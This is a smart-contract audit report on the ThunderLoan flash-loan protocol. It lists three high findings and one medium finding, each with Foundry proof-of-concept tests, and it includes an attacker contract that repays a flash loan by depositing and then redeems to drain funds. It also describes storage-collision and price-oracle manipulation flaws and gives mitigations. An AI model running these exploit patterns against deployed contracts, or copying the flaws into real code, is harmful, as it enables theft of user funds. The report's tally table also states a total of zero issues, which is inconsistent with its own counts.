



Protocol Audit Report

Version 1.0

Cyfrin.io

July 14, 2026

Protocol Audit Report

ALtera21

July 14, 2026

Prepared by: Cyfrin Security Researcher: ALtera21

Table of Contents

- Table of Contents
- Protocol Summary
- Disclaimer
- Risk Classification
- Audit Details
 - Scope
 - Roles
- Executive Summary
 - Issues found
- Findings
- High
 - [H-1] Erroneous `ThunderLoan::updateExchangeRate` in the `deposit` function causes protocol to think it has more fees than it really does, which blocks redemption and incorrectly set the exchange rate
 - [H-2] By calling a flashloan and then `ThunderLoan::deposit` instead of `ThunderLoan::repay` users can steal all funds from the protocol
 - [H-3] Mixing up variable location causes storage collisions in `ThunderLoan::s_flashLoanFee` and `ThunderLoan::s_currentlyFlashLoaning`, freezing protocol

- Medium
 - [M-1] Using TSwap as price oracle leads to price and oracle manipulation attacks

Protocol Summary

A smart contract application for borrowing money in one transaction

Disclaimer

The “I do it myself” team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

Commit Hash: 2250d81b89aebdd9cb135382e068af8c269e3a4b

Scope

```
1 ./src/
2 #-- interfaces
3 |   #-- IFlashLoanReceiver.sol
4 |   #-- IPoolFactory.sol
5 |   #-- ITSwapPool.sol
6 |   #-- IThunderLoan.sol
7 #-- protocol
8 |   #-- AssetToken.sol
9 |   #-- OracleUpgradeable.sol
10 |   #-- ThunderLoan.sol
11 #-- upgradedProtocol
12 |   #-- ThunderLoanUpgraded.sol
```

Roles

- Owner: has the power to set tokens that are allowed to be used in the protocol by calling `setAllowedToken`, can change the fee of the protocol by calling `updateFlashLoanFee`, and can upgrade the implementation contract.
- LiquidityProvider: give liquidity to the protocol by calling `deposit` function and receive `AssetToken` tokens as proof of ownership of the liquidity. had the power to withdraw the liquidity in exchange for `AssetToken` tokens by calling `redeem` function
- users/borrower: can borrow their desired token only in a single transaction by calling `flashloan` function and has to call `repay` after or the transaction will revert

Executive Summary

Issues found

Severity	Number of issues found
High	3
Medium	1
Low	0
Info	0
Total	0

Findings

High

[H-1] Erroneous ThunderLoan::updateExchangeRate in the deposit function causes protocol to think it has more fees than it really does, which blocks redemption and incorrectly set the exchange rate

Description: In the ThunderLoan system, the `exchangeRate` is responsible for calculating the exchange rate between assetTokens and underlying tokens. In a way it's responsible for keeping track of how many fees to give to liquidity providers.

However the `deposit` function, updates this rate, without collecting any fees!

```
1      function deposit(IERC20 token, uint256 amount) external
2          revertIfZero(amount) revertIfNotAllowedToken(token) {
3          AssetToken assetToken = s_tokenToAssetToken[token];
4          uint256 exchangeRate = assetToken.getExchangeRate();
5          uint256 mintAmount = (amount * assetToken.
6              EXCHANGE_RATE_PRECISION()) / exchangeRate;
7          emit Deposit(msg.sender, token, amount);
8          assetToken.mint(msg.sender, mintAmount);
9          @> uint256 calculatedFee = getCalculatedFee(token, amount);
10         @> assetToken.updateExchangeRate(calculatedFee);
11         token.safeTransferFrom(msg.sender, address(assetToken), amount)
12             ;
13     }
```

Impact: There are several impacts to this bug.

1. The `redeem` function is blocked, because protocol thinks the owed tokens is more than it has.
2. Rewards are incorrectly calculated, leading to liquidityProviders potentially getting way more or less than deserved.

Proof of Concept:

1. LP deposits (exchange rate is updated)
2. User takes out a flash loan
3. t is now impossible for LP to redeem (even without any user takes out a flash loan)

PoC

Place the following into `ThunderLoantest.t.sol`

```
1      function testRedeemAfterLoan() public setAllowedToken hasDeposits{
2          // uint256 amountToBorrow = AMOUNT * 10;
```

```

3      // uint256 calculatedFee = thunderLoan.getCalculatedFee(tokenA,
      amountToBorrow);
4
5      // vm.startPrank(user);
6      // tokenA.mint(address(mockFlashLoanReceiver), calculatedFee);
7      // thunderLoan.flashloan(address(mockFlashLoanReceiver), tokenA
      , amountToBorrow, "");
8      // vm.stopPrank();
9
10     uint256 amountToRedeem = type(uint256).max;
11     vm.startPrank(liquidityProvider);
12     thunderLoan.redeem(tokenA, amountToRedeem);
13 }

```

Recommended Mitigation: Remove the incorrectly updated exchange rate lines from `deposit`

```

1     function deposit(IERC20 token, uint256 amount) external
      revertIfZero(amount) revertIfNotAllowedToken(token) {
2         AssetToken assetToken = s_tokenToAssetToken[token];
3         uint256 exchangeRate = assetToken.getExchangeRate();
4         uint256 mintAmount = (amount * assetToken.
            EXCHANGE_RATE_PRECISION()) / exchangeRate;
5         emit Deposit(msg.sender, token, amount);
6         assetToken.mint(msg.sender, mintAmount);
7 -        uint256 calculatedFee = getCalculatedFee(token, amount);
8 -        assetToken.updateExchangeRate(calculatedFee);
9         token.safeTransferFrom(msg.sender, address(assetToken), amount)
            ;
10    }

```

[H-2] By calling a flashloan and then `ThunderLoan::deposit` instead of `ThunderLoan::repay` users can steal all funds from the protocol

Proof of Concept:

Add the following inside `ThunderLoanTest.t.sol`

```

1     contract DepositOverRepay is IFlashLoanReceiver{
2         ThunderLoan thunderLoan;
3         AssetToken assetToken;
4         IERC20 s_token;
5
6         constructor(address _thunderLoan) {
7             thunderLoan = ThunderLoan(_thunderLoan);
8         }
9
10        function executeOperation(
11            address token,
12            uint256 amount,

```

```

13     uint256 fee,
14     address /* initiator */,
15     bytes calldata /* params */
16 )
17     external
18     returns (bool)
19 {
20     s_token = IERC20(token);
21     assetToken = thunderLoan.getAssetFromToken(IERC20(token));
22     IERC20(token).approve(address(thunderLoan), amount + fee);
23     thunderLoan.deposit(IERC20(token), amount + fee);
24     return true;
25 }
26
27 function redeemMoney() public {
28     uint256 amount = assetToken.balanceOf(address(this));
29     thunderLoan.redeem(s_token, amount);
30 }
31 }

```

add the following inside the test contract

```

1     function testUseDepositInsteadOfRepayToStealFunds() public
2         setAllowedToken hasDeposits {
3         vm.startPrank(user);
4         uint256 amountToBorrow = 50e18;
5         uint256 fee = thunderLoan.getCalculatedFee(tokenA,
6             amountToBorrow);
7         DepositOverRepay dor = new DepositOverRepay(address(thunderLoan));
8         tokenA.mint(address(dor), fee);
9         thunderLoan.flashloan(address(dor), tokenA, amountToBorrow, "")
10             ;
11         dor.redeemMoney();
12         vm.stopPrank();
13
14         assert(tokenA.balanceOf(address(dor)) > 50e18 + fee);
15     }

```

[H-3] Mixing up variable location causes storage collisions in

ThunderLoan::s_flashLoanFee and ThunderLoan::s_currentlyFlashLoaning, freezing protocol

Description: `ThunderLoan.sol` has two variables in the following order:

```

1     uint256 private s_feePrecision;
2     uint256 private s_flashLoanFee; // 0.3% ETH fee

```

However, the upgraded contract `ThunderLoanUpgraded.sol` has them in a different order:

```
1      uint256 private s_flashLoanFee; // 0.3% ETH fee
2      uint256 public constant FEE_PRECISION = 1e18;
```

Due to how solidity works, after the upgrade the `s_flashLoanFee` will have the value of `s_feePrecision`. You cannot adjust the position of storage variables, and removing storage variables for constant variables, breaks the storage locations as well.

Impact: After the upgrade, the `s_flashLoanFee` will have the value of `s_feePrecision`. This means that users who take out flash loans right after an upgrade will be charged the wrong fee.

More importantly, the `s_currentlyFlashLoaning` mapping with storage in the wrong storage slot.

Proof of Concept:

1. deploy the contract
2. upgrade the contract

PoC

Place the following into `ThunderLoanTest.t.sol`.

```
1  import {ThunderLoanUpgraded} from "../src/upgradedProtocol/
   ThunderLoanUpgraded.sol";
2
3
4
5      function testUpgradeBreaks() public {
6          uint256 feeBeforeUpgrade = thunderLoan.getFee();
7          vm.startPrank(thunderLoan.owner());
8          ThunderLoanUpgraded upgraded = new ThunderLoanUpgraded();
9          thunderLoan.upgradeToAndCall(address(upgraded), "");
10         uint256 feeAfterUpgrade = thunderLoan.getFee();
11         vm.stopPrank();
12
13         console.log("fee before", feeBeforeUpgrade);
14         console.log("fee after", feeAfterUpgrade);
15
16         assert(feeBeforeUpgrade != feeAfterUpgrade);
17     }
```

Recommended Mitigation: If you must remove the storage variable, leave it as blank as to not mess up the storage slot

```
1  +   uint256 private s_blank;
2      uint256 private s_flashLoanFee; // 0.3% ETH fee
3      uint256 public constant FEE_PRECISION = 1e18;
```


Medium

[M-1] Using TSwap as price oracle leads to price and oracle manipulation attacks

Description: The TSwap protocol is a constant product formula based AMM (automated market maker). The price of a token is determined by how many reserves are on either side of the pool. Because of this, it is easy for malicious users to manipulate the price of a token by buying or selling a large amount of the token in the same transaction, essentially ignoring protocol fees.

Impact: Liquidity providers will drastically reduced fees for providing liquidity.

Proof of Concept:

The following all happens in 1 transaction.

1. User takes a flash loan from [ThunderLoan](#) for 1000 [tokenA](#). They are charged the original fee [fee1](#). During the flash loan, they do the following:
 1. User sells 1000 [tokenA](#), tanking the price.
 2. Instead of repaying right away, the user takes out another flash loan for another 1000 [tokenA](#).
 1. Due to the fact that the way [ThunderLoan](#) calculates price based on the [TSwapPool](#) this second flash loan is substantially cheaper.

```
1  function getPriceInWeth(address token) public view returns (
    uint256) {
2  address swapPoolOfToken = IPoolFactory(s_poolFactory).
    getPool(token);
3  @> return ITSwapPool(swapPoolOfToken).
    getPriceOfOnePoolTokenInWeth();
4  }
```

3. The user then repays the first flash loan, and then repays the second flash loan.

I have created a proof of code located in my [audit-data](#) folder. It is too large to include here.

Recommended Mitigation: Consider using a different price oracle mechanism, like a Chainlink price feed with a Uniswap TWAP fallback oracle